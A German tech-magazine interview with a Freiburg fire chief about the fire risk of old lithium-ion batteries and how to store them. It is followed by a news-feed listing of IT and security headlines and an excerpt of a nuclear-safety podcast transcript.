In den meisten Smartphones stecken sogenannte Pouch-Zellen – benannt nach ihrer flexiblen, beutelartigen Form. Statt eines stabilen MetallgehĂ€uses besitzen sie nur eine flexible HĂŒlle aus beschichteter Aluminiumfolie. Mit den Jahren, durch Tiefenentladung oder winzige VorschĂ€den, verĂ€ndert sich die Chemie im Inneren. Der Akku gast aus und blĂ€ht sich auf – die berĂŒhmten dicken Backen entstehen.

Im Lebenslauf des Energiespeichers ist das eine kritische Phase. Versagt die dĂŒnne Trennschicht (der Separator) zwischen den Polen, kann es zum internen Kurzschluss kommen. Die Folge ist das gefĂŒrchtete thermische Durchgehen, der Thermal Runaway.

Das HeimtĂŒckische daran: Bei den extremen Temperaturen, die dabei im Inneren entstehen können, zerfallen die Materialien und setzen neben brennbaren Gasen auch Sauerstoff frei. Der Akku fĂŒttert sein eigenes Feuer also von innen heraus, weshalb diese BrĂ€nde manchmal schwer zu löschen sind. Schon Temperaturen ab 60 °C (die im Sommer auf dem Dachboden oder im Auto erreicht werden können) gelten laut vielen Herstellern als kritischer Bereich, weil sie den Akku dauerhaft schĂ€digen und damit das Risiko spĂ€terer Defekte erhöhen können.

Wie schÀtzt die Feuerwehr die Lage ein? Hier ist unser GesprÀch:

„Sobald Rauch austritt, muss man den Raum verlassen!“ – Amtsleiter Christian Emrich im Interview

Amtsleiter Christian Emrich Portrait

©Emrich

Alte Handys, Tablets oder Laptops landen oft jahrelang in Schubladen und SchrĂ€nken. Doch welche Risiken gehen von gealterten Lithium-Ionen-Akkus tatsĂ€chlich aus? DarĂŒber haben wir mit einem Experten gesprochen, der sich seit Jahren intensiv mit den Gefahren von Energiespeichern und den Herausforderungen fĂŒr die Feuerwehren beschĂ€ftigt.

Zur Person: Christian Emrich ist Amtsleiter des Amtes fĂŒr Brand- und Katastrophenschutz Freiburg. Zudem leitet er die Arbeitsgruppe „Li-Ionen-Speichermedien“ der Arbeitsgemeinschaft der Berufsfeuerwehren (AGBF) und des Deutschen Feuerwehrverbandes (DFV). In dieser Funktion beschĂ€ftigt er sich seit vielen Jahren mit Lithium-Ionen-Akkus, deren Risiken und den entsprechenden Einsatzkonzepten der Feuerwehren.

PC-WELT: Herr Emrich, könnten Sie uns verraten, wie oft Sie in Ihrer Laufbahn schon mit EinsÀtzen durch Lithium-Ionen-Akkus zu tun hatten?

Christian Emrich: Durch meine langjĂ€hrige Arbeit bei der Berufsfeuerwehr und als Leiter der Arbeitsgruppe „Li-Ionen-Speichermedien“ beschĂ€ftige ich mich schon seit vielen Jahren intensiv mit den Risiken dieser Technologie. Entsprechend hĂ€ufig haben wir es im Feuerwehralltag inzwischen mit Einsatzlagen zu tun, bei denen solche Energiespeicher eine Rolle spielen.

Wie gefĂ€hrlich sind denn diese alten Akkus in unseren Schubladen wirklich? Alte Handys, Tablets, Laptops oder Taschenlampen – ist das ein statistisches RandphĂ€nomen oder ein echtes Risiko?

Emrich: Noch sehen wir keine besonders hohen Fallzahlen, weil die große Welle alter Lithium-Ionen-Akkus erst jetzt entsteht. Viele GerĂ€te erreichen inzwischen ein Alter von zehn Jahren oder mehr. Genau deshalb lautet meine dringende Empfehlung: konsequent ausmisten. Auch wenn es schwerfĂ€llt, sich von alten GerĂ€ten zu trennen.

Das sind schlummernde Brandrisiken in unseren Wohnungen. Was in den 1970er-Jahren die vergessene Kaffeemaschine war, ist heute die mobile Elektronik und die Akkus in AltgerÀten.

Stichwort „Thermal Runaway“: Was passiert da im Inneren eines Akkus eigentlich physikalisch, wenn er hochgeht – und warum ist der Rauch dabei so viel tĂŒckischer als bei einem normalen Zimmerbrand?

Emrich: Der sogenannte Thermal Runaway ist das explosionsartige Abbrennen der Akkuzellen. Ein Akku besteht meist aus mehreren einzelnen Zellen. Werden diese durch mechanische Einwirkungen, Hitze, elektrische Fehler oder andere VorschÀdigungen belastet, kann es zu einer unkontrollierten Energiefreisetzung kommen.

Oft beginnt das mit einem AufblĂ€hen des Akkus. Beim eigentlichen Thermal Runaway kommt es dann zu schussartigen Explosionen. Das kann unabhĂ€ngig davon passieren, ob der Akku in einem Smartphone, einem Spielzeug oder einem anderen GerĂ€t verbaut ist. Die Energie ĂŒbertrĂ€gt sich dabei blitzartig von Zelle zu Zelle.

Der Rauch, der dabei entsteht, ist gesundheitsschĂ€dlich und sollte keinesfalls eingeatmet werden. Das gilt zwar grundsĂ€tzlich auch fĂŒr viele andere KunststoffbrĂ€nde, aber der Geruch ist oft etwas anders, teilweise leicht sĂŒĂŸlich oder aromatisch. Sobald Rauch austritt, sollte man den Raum sofort verlassen und die Feuerwehr alarmieren.

Zum Thema Warnsignale und „dicke Backen“: Alte GerĂ€te oder Akkus können sich verformen. Ab wann genau wird das kritisch?

Emrich: Das AufblĂ€hen ist bereits die sensible Phase. Es zeigt unmissverstĂ€ndlich, dass der Akku ein gewisses Alter oder einen erheblichen Verschleiß aufweist. Viele Menschen kennen das von Ă€lteren Smartphones, die im Bereich des Akkus plötzlich dicker werden. Dann steigt das Risiko deutlich. Wenn zusĂ€tzlich ein Defekt am LadegerĂ€t vorliegt, starke WĂ€rme hinzukommt oder das GerĂ€t erneut herunterfĂ€llt, kann es zum Abrauchen oder zu einem Thermal Runaway kommen.

Solche Verformungen sind klare Anzeichen dafĂŒr, dass der Akku möglichst zeitnah ĂŒber den Fachhandel oder eine geeignete Sammelstelle entsorgt werden sollte. FĂŒr Verbraucher gilt ganz klar: Niemals in den HausmĂŒll werfen!

Wenn ich mein altes Lieblings-Handy als ErinnerungsstĂŒck fĂŒr die nĂ€chsten Jahrzehnte aufheben möchte: Darf der Akku im GerĂ€t bleiben oder muss er zwingend ausgebaut werden?

Emrich: Theoretisch darf der Akku im GerĂ€t bleiben. Ich empfehle jedoch, ihn nach Möglichkeit auszubauen und fachgerecht zu entsorgen. Allein schon deshalb, weil die enthaltenen Rohstoffe wieder in den Wertstoffkreislauf zurĂŒckgefĂŒhrt werden können. Die Recyclingverfahren haben sich in den vergangenen Jahren verbessert und werden in Zukunft weiter an Effizienz gewinnen. Ungenutzte Rohstoffe in einer Schublade helfen letztlich niemandem.

Wenn der Akku fest verbaut ist: Wie lagere ich das GerÀt am sichersten und spielt der Ladestand eine Rolle?

Emrich: Der Ladestand spielt fĂŒr die Brandgefahr im Ruhezustand nur eine untergeordnete Rolle. Wichtiger ist, dass das GerĂ€t so gelagert wird, dass kein WĂ€rmestau entstehen kann. Außerdem sollte man nur geeignete und ĂŒberprĂŒfte LadegerĂ€te verwenden. Das reduziert die Brandrisiken beim Laden erheblich und schont gleichzeitig den Akku. FĂŒr die Lagerung empfehle ich eine nicht brennbare Unterlage. GerĂ€te sollten nicht auf Sofas, Sesseln oder anderen leicht entzĂŒndlichen OberflĂ€chen abgelegt werden.

Gibt es GerÀte, bei denen die Menschen oft völlig vergessen, dass ein potenziell gefÀhrlicher Akku verbaut ist?

Emrich: Auf jeden Fall. Wir nehmen es heute als selbstverstÀndlich wahr, dass nahezu alles mobil funktioniert und eine eigene Stromversorgung besitzt. Dadurch vergisst man schnell: Da ist ja immer noch etwas drin, was potenziell einen Brand verursachen kann.

Dabei gibt es keine GerÀtekategorie, die grundsÀtzlich ungefÀhrlicher wÀre als eine andere. Entscheidend ist vielmehr, wie mit dem Akku umgegangen wird. Ist das GerÀt hÀufig heruntergefallen? Wird ein ungeeignetes LadegerÀt verwendet? Gibt es VorschÀden im Inneren?

Mein Rat lautet deshalb: Nach Möglichkeit das Original-LadegerÀt oder qualitativ hochwertige Produkte mit entsprechender CE-Kennzeichnung verwenden. Gerade bei Produkten unbekannter Herkunft kann die QualitÀt der verbauten Akkus ein Risikofaktor sein.

Was halten Sie von speziellen Hilfsmitteln wie LiPo-Bags oder Löschdecken fĂŒr KleingerĂ€te oder sogar E-Roller – sind diese fĂŒr Privathaushalte sinnvoll?

Emrich: Solche Hilfsmittel können in der FrĂŒhphase eines Vorfalls durchaus sinnvoll sein. Das Wichtigste bleibt aber immer der Schutz von Menschenleben. Sobald Rauch vorhanden ist, muss man den Raum verlassen. Dann sollten andere Personen gewarnt, die Feuerwehr alarmiert und keine weiteren Löschversuche unternommen werden. Löschdecken oder Brandschutztaschen können helfen – aber nur so lange, wie noch keine starke Rauchentwicklung eingesetzt hat.

Stimmt es, dass man Lithium-BrÀnde niemals mit Wasser löschen soll? Wie löscht man solche BrÀnde im Haushalt am besten?

Emrich: Das stimmt so pauschal nicht. Wasser kĂŒhlt sehr gut und kann die Reaktionen im Akku verlangsamen oder eindĂ€mmen. Sobald jedoch Rauch austritt oder sich der Brand entwickelt, handelt es sich nicht mehr um eine Aufgabe fĂŒr Laien. Dann sollte die Feuerwehr ĂŒbernehmen. Die dabei entstehenden Gase können gefĂ€hrlich sein und erfordern entsprechende Schutzmaßnahmen. Übrigens: Wasser ist das Lösch- und KĂŒhlmittel der Wahl bei AkkubrĂ€nden fĂŒr uns EinsatzkrĂ€fte der Feuerwehr.

Was war denn der kurioseste Ort oder das seltsamste GerÀt, bei dem Sie einen Akkubrand gelöscht haben?

Emrich: Besonders spannend war fĂŒr uns die Entwicklung im Bereich von Spielzeug und gĂŒnstigen Elektronikprodukten. Gerade in den ersten Jahren haben wir dort immer wieder Probleme mit minderwertigen Akkus gesehen. In Schulungen und Untersuchungen haben wir zahlreiche Szenarien durchgespielt. Dabei zeigte sich, dass nicht zertifizierte oder qualitativ minderwertige Produkte deutlich schneller ĂŒberhitzen können. Teilweise genĂŒgte schon ein blockierter Propeller in einem Billigspielzeug-Flugzeug, um einen kritischen Zustand herbeizufĂŒhren.

Angenommen, es fĂ€ngt in der Schublade plötzlich an zu zischen und zu qualmen: Was ist die absolut wichtigste Maßnahme, die man selbst ergreifen kann, bevor man die 112 wĂ€hlt?

Emrich: Sofort den Raum verlassen und TĂŒren schließen. Anschließend andere Bewohner warnen und sicherstellen, dass insbesondere Personen mit eingeschrĂ€nkter MobilitĂ€t das GebĂ€ude verlassen können. Sobald alle in Sicherheit sind, sollte die Feuerwehr ĂŒber die 112 alarmiert werden. Eigene Maßnahmen sind nur sinnvoll, solange noch keine Rauchentwicklung eingesetzt hat.

Zum Abschluss: Was ist der wichtigste Rat, den Sie allen Sammlern und Technik-Fans fĂŒr den Umgang mit alten Akkus mitgeben möchten?

Emrich: Achten Sie auf eine ordentliche Lagerung bei stabilen Temperaturen, möglichst Zimmertemperatur. Vermeiden Sie Bereiche mit starker Sonneneinstrahlung oder großer Hitze. Ab etwa 80 Grad Celsius wird die Situation kritisch. Hohe Temperaturen können einen Thermal Runaway begĂŒnstigen. Deshalb gilt: Alte Akkus regelmĂ€ĂŸig kontrollieren, beschĂ€digte oder aufgeblĂ€hte Exemplare umgehend fachgerecht entsorgen und keine unnötigen Risiken eingehen!

â„č Konkrete Tipps fĂŒr Sammler

Die wichtigsten Empfehlungen aus dem GesprĂ€ch sowie die Hinweise von Feuerwehr und Fachorganisationen haben wir noch einmal zusammengefasst. Wer seine alten LieblingsgerĂ€te fĂŒr die nĂ€chsten Jahrzehnte im privaten Museum oder der Vitrine erhalten möchte, sollte die RatschlĂ€ge der Experten von IFS, DGUV und Feuerwehr beherzigen:

  • Akku raus! (Sicherste Variante): Wenn ein GerĂ€t rein als optisches ErinnerungsstĂŒck aufgehoben werden soll, bauen Sie den Akku nach Möglichkeit komplett aus und entsorgen Sie ihn fachgerecht im Handel. Ohne Akku entfĂ€llt die Brandgefahr durch den Energiespeicher komplett.
  • Kontakte sichern: Falls Sie lose Akkus aufbewahren, kleben Sie die freiliegenden Kontakte (Pole) unbedingt mit Isolierband ab. Fliegen die Akkus lose in einer Schublade herum, kann eine einfache BĂŒroklammer oder der Kontakt mit einem anderen Akku einen fatalen externen Kurzschluss auslösen.
  • Frost-Falle meiden: Lagern Sie alte Elektronik niemals in der ungeheizten Garage oder im feuchten Schuppen. Dauerhafter Frost unter -10 °C beschĂ€digt die Elektrolyt-FlĂŒssigkeit im Inneren irreversibel. Das böse Erwachen droht dann beim nĂ€chsten Ladeversuch.
  • Die richtige Unterlage: Handys im Ruhestand gehören nicht auf das Sofa, den Sessel oder in die NĂ€he von Gardinen. Lagern Sie die GerĂ€te auf einer nicht brennbaren Unterlage (z. B. Glas, Fliesen oder in Metallboxen) und setzen Sie sie niemals direkter Sonneneinstrahlung aus.
  • RegelmĂ€ĂŸige Inspektion: Machen Sie regelmĂ€ĂŸig einen “Schubladen-Check”. Nehmen Sie die GerĂ€te mindestens einmal im Jahr in die Hand. Sobald sich das GehĂ€use wölbt, das Display aus dem Rahmen gedrĂŒckt wird oder der Akku sich schwammig anfĂŒhlt, besteht akuter Handlungsbedarf: Das GerĂ€t muss sofort und konsequent zum Wertstoffhof oder in den Fachhandel gebracht werden.

Fazit

Alte Lithium-Ionen-Akkus sind lĂ€ngst kein RandphĂ€nomen mehr: In vielen Haushalten wĂ€chst die Zahl Ă€lterer GerĂ€te mit diesen Energiespeichern. Wer alte Technik liebt und sammelt, sollte deshalb verantwortungsvoll mit den potenziellen Risiken umgehen. Die sicherste Lösung fĂŒr ein privates Technikmuseum ist der Ausbau des Energiespeichers. Wie Feuerwehr-Chef Christian Emrich im Interview treffend sagt: Ungenutzte Rohstoffe in einer Schublade helfen niemandem – sie können im schlimmsten Fall aber das eigene Zuhause gefĂ€hrden.

Wer einen Akku nicht ausbauen kann oder möchte, sollte bei der Lagerung zumindest auf stabile Zimmertemperaturen, Brandschutz und regelmĂ€ĂŸige Kontrollen achten.

Lesen Sie weiter zum Thema:

]]> <![CDATA[Cyberattack on Hong Kong’s Shun Hing Group affects data of 1 million people]]> https://tsecurity.de/de/3641674/it-security-nachrichten/cyberattack-on-hong-kongs-shun-hing-group-affects-data-of-1-million-people/ https://tsecurity.de/de/3641674/it-security-nachrichten/cyberattack-on-hong-kongs-shun-hing-group-affects-data-of-1-million-people/ Thu, 02 Jul 2026 18:24:27 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[USN-8488-2: Linux kernel (Raspberry Pi) vulnerabilities]]> https://tsecurity.de/de/3641570/unix-server/usn-8488-2-linux-kernel-raspberry-pi-vulnerabilities/ https://tsecurity.de/de/3641570/unix-server/usn-8488-2-linux-kernel-raspberry-pi-vulnerabilities/ Thu, 02 Jul 2026 17:16:43 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8489-1: Linux kernel (OEM) vulnerabilities]]> https://tsecurity.de/de/3638915/unix-server/usn-8489-1-linux-kernel-oem-vulnerabilities/ https://tsecurity.de/de/3638915/unix-server/usn-8489-1-linux-kernel-oem-vulnerabilities/ Wed, 01 Jul 2026 17:16:31 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8488-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3638869/unix-server/usn-8488-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3638869/unix-server/usn-8488-1-linux-kernel-vulnerabilities/ Wed, 01 Jul 2026 16:45:42 +0200 🐧 Unix Server tsecurity.de <![CDATA[Forget the Grill. This Countertop Appliance Is Even Better During a Heat Wave]]> https://tsecurity.de/de/3637957/it-nachrichten/forget-the-grill-this-countertop-appliance-is-even-better-during-a-heat-wave/ https://tsecurity.de/de/3637957/it-nachrichten/forget-the-grill-this-countertop-appliance-is-even-better-during-a-heat-wave/ Wed, 01 Jul 2026 11:18:26 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Here's How to Recycle Your Old Laptop, PC and Printer]]> https://tsecurity.de/de/3637152/it-nachrichten/heres-how-to-recycle-your-old-laptop-pc-and-printer/ https://tsecurity.de/de/3637152/it-nachrichten/heres-how-to-recycle-your-old-laptop-pc-and-printer/ Wed, 01 Jul 2026 03:02:12 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[The HP Envy 6555e is a 'slick printer' that's ideal for home and student printing — and Best Buy just dropped the price under $90]]> https://tsecurity.de/de/3636419/it-nachrichten/the-hp-envy-6555e-is-a-slick-printer-thats-ideal-for-home-and-student-printing-and-best-buy-just-dropped-the-price-under-90/ https://tsecurity.de/de/3636419/it-nachrichten/the-hp-envy-6555e-is-a-slick-printer-thats-ideal-for-home-and-student-printing-and-best-buy-just-dropped-the-price-under-90/ Tue, 30 Jun 2026 19:17:42 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[xTool O1 Omni vorgestellt: All-in-One-Drucker bedruckt nahezu jedes Material]]> https://tsecurity.de/de/3635795/it-nachrichten/xtool-o1-omni-vorgestellt-all-in-one-drucker-bedruckt-nahezu-jedes-material/ https://tsecurity.de/de/3635795/it-nachrichten/xtool-o1-omni-vorgestellt-all-in-one-drucker-bedruckt-nahezu-jedes-material/ Tue, 30 Jun 2026 15:46:35 +0200 📰 IT Nachrichten tsecurity.de Zum Beitrag: xTool O1 Omni vorgestellt: All-in-One-Drucker bedruckt nahezu jedes Material

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

]]> <![CDATA[CVE-2026-56809 | Ricoh Company Laser Printer/MFP Ricoh Web Image Monitor cross site scripting (icoh-2026-000005 / EUVD-2026-40255)]]> https://tsecurity.de/de/3635090/sicherheitsluecken/cve-2026-56809-ricoh-company-laser-printermfp-ricoh-web-image-monitor-cross-site-scripting-icoh-2026-000005-euvd-2026-40255/ https://tsecurity.de/de/3635090/sicherheitsluecken/cve-2026-56809-ricoh-company-laser-printermfp-ricoh-web-image-monitor-cross-site-scripting-icoh-2026-000005-euvd-2026-40255/ Tue, 30 Jun 2026 11:38:43 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de problematic, was found in Ricoh Company Laser Printer and MFP. This issue affects some unknown processing of the component Ricoh Web Image Monitor. The manipulation results in cross site scripting. This vulnerability is identified as CVE-2026-56809. The attack can be executed remotely. There is not any exploit available.]]> <![CDATA[Progress Kemp LoadMaster Flaw Could Let Attackers Run Root Commands Pre-Auth]]> https://tsecurity.de/de/3635076/it-security-nachrichten/progress-kemp-loadmaster-flaw-could-let-attackers-run-root-commands-pre-auth/ https://tsecurity.de/de/3635076/it-security-nachrichten/progress-kemp-loadmaster-flaw-could-let-attackers-run-root-commands-pre-auth/ Tue, 30 Jun 2026 11:37:41 +0200 📰 IT Security Nachrichten tsecurity.de A critical vulnerability in Progress Kemp LoadMaster can let an unauthenticated attacker execute arbitrary commands as root on the appliance by sending a crafted request to its API. The flaw, tracked as CVE-2026-8037, carries a CVSS score of 9.8 according to ZDI.


Read more →

The post Progress Kemp LoadMaster Flaw Could Let Attackers Run Root Commands Pre-Auth appeared first on IT Security News.

]]> <![CDATA[Progress Kemp LoadMaster Flaw Could Let Attackers Run Root Commands Pre-Auth]]> https://tsecurity.de/de/3635048/it-security-nachrichten/progress-kemp-loadmaster-flaw-could-let-attackers-run-root-commands-pre-auth/ https://tsecurity.de/de/3635048/it-security-nachrichten/progress-kemp-loadmaster-flaw-could-let-attackers-run-root-commands-pre-auth/ Tue, 30 Jun 2026 11:23:18 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[xTool's New Printer Is Going to Make It Easier Than Ever to Be Creative and the Preorder Is Live Today]]> https://tsecurity.de/de/3632999/it-nachrichten/xtools-new-printer-is-going-to-make-it-easier-than-ever-to-be-creative-and-the-preorder-is-live-today/ https://tsecurity.de/de/3632999/it-nachrichten/xtools-new-printer-is-going-to-make-it-easier-than-ever-to-be-creative-and-the-preorder-is-live-today/ Mon, 29 Jun 2026 15:17:56 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Apple M5 Ultra Mac Studio Will Get Better Cooling For AI Tasks]]> https://tsecurity.de/de/3632418/ios-mac-os/apple-m5-ultra-mac-studio-will-get-better-cooling-for-ai-tasks/ https://tsecurity.de/de/3632418/ios-mac-os/apple-m5-ultra-mac-studio-will-get-better-cooling-for-ai-tasks/ Mon, 29 Jun 2026 11:11:04 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Apple Reportedly Preparing M5 Mac Studio for 2026, M7 Upgrade to Follow in 2028]]> https://tsecurity.de/de/3631359/ios-mac-os/apple-reportedly-preparing-m5-mac-studio-for-2026-m7-upgrade-to-follow-in-2028/ https://tsecurity.de/de/3631359/ios-mac-os/apple-reportedly-preparing-m5-mac-studio-for-2026-m7-upgrade-to-follow-in-2028/ Sun, 28 Jun 2026 19:44:21 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Kalifornien: AB 2047 will 3D-Printer ĂŒberwachen – Open-Source droht abgewĂŒrgt zu werden]]> https://tsecurity.de/de/3631078/it-security-nachrichten/kalifornien-ab-2047-will-3d-printer-ueberwachen-open-source-droht-abgewuergt-zu-werden/ https://tsecurity.de/de/3631078/it-security-nachrichten/kalifornien-ab-2047-will-3d-printer-ueberwachen-open-source-droht-abgewuergt-zu-werden/ Sun, 28 Jun 2026 15:08:12 +0200 📰 IT Security Nachrichten tsecurity.de KALIFORNIEN / LONDON (IT BOLTWISE) – Kaliforniens Gesetzgeber treiben trotz Protesten eine Pflicht zur Überwachung von 3D-Druckern voran. Die Novelle zu AB 2047 lockert zwar einzelne Punkte, lĂ€sst aber die Kernrisiken fĂŒr PrivatsphĂ€re, Rede- und Verbraucherrechte bestehen. Besonders problematisch: Das Gesetz knĂŒpft an Algorithmus-Standards an, die Umgehung nicht zuverlĂ€ssig verhindern, aber legitime Nutzung blockieren und [
]

Dieser Beitrag Kalifornien: AB 2047 will 3D-Printer ĂŒberwachen – Open-Source droht abgewĂŒrgt zu werden erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

]]> <![CDATA[Thermal cameras can spot problems you can't see - what I've learned after years of testing]]> https://tsecurity.de/de/3631047/it-security-nachrichten/thermal-cameras-can-spot-problems-you-cant-see-what-ive-learned-after-years-of-testing/ https://tsecurity.de/de/3631047/it-security-nachrichten/thermal-cameras-can-spot-problems-you-cant-see-what-ive-learned-after-years-of-testing/ Sun, 28 Jun 2026 14:37:44 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Australian rescue team uses AI-powered drone to find lost hikers – video]]> https://tsecurity.de/de/3629386/it-nachrichten/australian-rescue-team-uses-ai-powered-drone-to-find-lost-hikers-video/ https://tsecurity.de/de/3629386/it-nachrichten/australian-rescue-team-uses-ai-powered-drone-to-find-lost-hikers-video/ Sat, 27 Jun 2026 12:21:50 +0200 📰 IT Nachrichten tsecurity.de Two men in their 20s were found within five hours thanks to an artificial intelligence-powered drone, which used thermal imaging to locate them. Two hikers veered off a walking track in Kosciuszko national park, New South Wales, on Tuesday, and were found about half a kilometre off the track. It was the first time the FRNSW drone’s AI detection system had been used to rescue missing people

Continue reading...]]> <![CDATA[Hikers lost in Kosciuszko national park rescued within five hours by AI drone]]> https://tsecurity.de/de/3628909/it-nachrichten/hikers-lost-in-kosciuszko-national-park-rescued-within-five-hours-by-ai-drone/ https://tsecurity.de/de/3628909/it-nachrichten/hikers-lost-in-kosciuszko-national-park-rescued-within-five-hours-by-ai-drone/ Sat, 27 Jun 2026 05:18:30 +0200 📰 IT Nachrichten tsecurity.de Fire and Rescue NSW uses thermal imaging and a mobile phone red light to quickly locate men who veered off walking track near Jindabyne

Two hikers who veered off a walking track in Kosciuszko national park have been found within five hours using a drone powered by artificial intelligence, a first-of-its-kind mission, Fire and Rescue NSW (FRNSW) has said.

The two men, aged in their 20s, were reported missing at 7pm on Tuesday evening after they failed to return to a rendezvous point on time.

Continue reading...]]> <![CDATA[Bambu Lab 3D printer deals — these pro and budget 3D printers nailed our workshop tests and you won't find them in Amazon's Prime Day sale]]> https://tsecurity.de/de/3628554/it-nachrichten/bambu-lab-3d-printer-deals-these-pro-and-budget-3d-printers-nailed-our-workshop-tests-and-you-wont-find-them-in-amazons-prime-day-sale/ https://tsecurity.de/de/3628554/it-nachrichten/bambu-lab-3d-printer-deals-these-pro-and-budget-3d-printers-nailed-our-workshop-tests-and-you-wont-find-them-in-amazons-prime-day-sale/ Fri, 26 Jun 2026 22:48:47 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Should You Buy Your Kid a 3D Printer? What to Know and Consider (2026)]]> https://tsecurity.de/de/3627084/it-nachrichten/should-you-buy-your-kid-a-3d-printer-what-to-know-and-consider-2026/ https://tsecurity.de/de/3627084/it-nachrichten/should-you-buy-your-kid-a-3d-printer-what-to-know-and-consider-2026/ Fri, 26 Jun 2026 12:47:40 +0200 📰 IT Nachrichten tsecurity.de <![CDATA['Skip the Dyson, get this instead': As a vacuum reviewer, this is the EOFY handstick deal I'd buy myself]]> https://tsecurity.de/de/3626097/it-nachrichten/skip-the-dyson-get-this-instead-as-a-vacuum-reviewer-this-is-the-eofy-handstick-deal-id-buy-myself/ https://tsecurity.de/de/3626097/it-nachrichten/skip-the-dyson-get-this-instead-as-a-vacuum-reviewer-this-is-the-eofy-handstick-deal-id-buy-myself/ Fri, 26 Jun 2026 02:32:42 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Our top-rated shipping label printer hits its lowest ever price for Prime Day — and the Munbyn RW403B is genuinely the best we’ve ever tested]]> https://tsecurity.de/de/3622988/it-nachrichten/our-top-rated-shipping-label-printer-hits-its-lowest-ever-price-for-prime-day-and-the-munbyn-rw403b-is-genuinely-the-best-weve-ever-tested/ https://tsecurity.de/de/3622988/it-nachrichten/our-top-rated-shipping-label-printer-hits-its-lowest-ever-price-for-prime-day-and-the-munbyn-rw403b-is-genuinely-the-best-weve-ever-tested/ Thu, 25 Jun 2026 00:47:39 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Ok - for the last and final time: Patents are good. And Patents are bad. A 3D printer project to prove it. (gpn24)]]> https://tsecurity.de/de/3622535/it-security-video/ok-for-the-last-and-final-time-patents-are-good-and-patents-are-bad-a-3d-printer-project-to-prove-it-gpn24/ https://tsecurity.de/de/3622535/it-security-video/ok-for-the-last-and-final-time-patents-are-good-and-patents-are-bad-a-3d-printer-project-to-prove-it-gpn24/ Wed, 24 Jun 2026 20:49:48 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[De-Spotify Yourself - Warum Du von $Streamingdienst weg willst und wie/wohin (gpn24)]]> https://tsecurity.de/de/3622502/it-security-video/de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wiewohin-gpn24/ https://tsecurity.de/de/3622502/it-security-video/de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wiewohin-gpn24/ Wed, 24 Jun 2026 20:49:06 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[I found every Prime Day 3D printer deal that scored over 4.5 stars in our workshop tests — these are the 14 I fully recommend]]> https://tsecurity.de/de/3621556/it-nachrichten/i-found-every-prime-day-3d-printer-deal-that-scored-over-45-stars-in-our-workshop-tests-these-are-the-14-i-fully-recommend/ https://tsecurity.de/de/3621556/it-nachrichten/i-found-every-prime-day-3d-printer-deal-that-scored-over-45-stars-in-our-workshop-tests-these-are-the-14-i-fully-recommend/ Wed, 24 Jun 2026 15:47:00 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[iPhone 18 Pro and iPhone Fold: Everything We Expect This September]]> https://tsecurity.de/de/3620692/ios-mac-os/iphone-18-pro-and-iphone-fold-everything-we-expect-this-september/ https://tsecurity.de/de/3620692/ios-mac-os/iphone-18-pro-and-iphone-fold-everything-we-expect-this-september/ Wed, 24 Jun 2026 10:54:54 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Drei FortiSandbox-Schwachstellen werden aktiv ausgenutzt]]> https://tsecurity.de/de/3620299/it-security-nachrichten/drei-fortisandbox-schwachstellen-werden-aktiv-ausgenutzt/ https://tsecurity.de/de/3620299/it-security-nachrichten/drei-fortisandbox-schwachstellen-werden-aktiv-ausgenutzt/ Wed, 24 Jun 2026 07:38:22 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[If anyone wants to print with the Epson L355 via usb or wifi, configure the printer with the L310 driver]]> https://tsecurity.de/de/3620069/linux-tipps/if-anyone-wants-to-print-with-the-epson-l355-via-usb-or-wifi-configure-the-printer-with-the-l310-driver/ https://tsecurity.de/de/3620069/linux-tipps/if-anyone-wants-to-print-with-the-epson-l355-via-usb-or-wifi-configure-the-printer-with-the-l310-driver/ Wed, 24 Jun 2026 04:40:04 +0200 🐧 Linux Tipps tsecurity.de

On mint you find printers, add printer, select your printer over cable or wifi, let it search the drivers, wait, then select Epson, and L310 driver.

On fedora find printers, add printer, select your printer over cable or wifi, three dots, details, select from the database, find Epson, then EPSON L310 CUPS + Gutenprint v5.3.5

I've used Linux for a year and always send prints to print from my phone, first time making it work.

submitted by /u/Caju_47
[link] [comments]]]> <![CDATA[HPR4668: Nuclear Power Technology Follow Up on Safety]]> https://tsecurity.de/de/3619898/podcasts/hpr4668-nuclear-power-technology-follow-up-on-safety/ https://tsecurity.de/de/3619898/podcasts/hpr4668-nuclear-power-technology-follow-up-on-safety/ Wed, 24 Jun 2026 02:03:28 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

--------------------

01 Introduction

This is the second follow up to my 8 part series on nuclear power. In this episode I will attempt to answer a question posed by brian in ohio in a comment on HPR4583. In that comment he said:

02

--------------------

Loving this series. Maybe Whiskey Jack could give some cost comparisons between large and small reactors. He could also give us a realistic look at nuclear plant safety/accidents compared to conventional power production. Looking forward to the episode on FORTH generation reactors ;-)

--------------------

03

End of quote.

The first question I answered in my previous follow up, which was HPR4628. In this episode I will attempt to answer the second question, which was about the safety of nuclear power compared to other sources of electrical power generation.

One of the HPR janitors encouraged me to make this episode, so I think we can thank him for getting another HPR episode made.

04 Defining the Scope

First, let's define the scope of the question.

This will cover electrical power generation only.

Within that scope I will consider only the following sources of energy.

05

Coal

Oil

Natural Gas

Hydroelectric

Nuclear

Wind

Solar

I won't cover geothermal, wave, or tidal power as these are only used in very small amounts and so there simply isn't enough literature on them to base a discussion on .

06 Foreshadow Conclusion

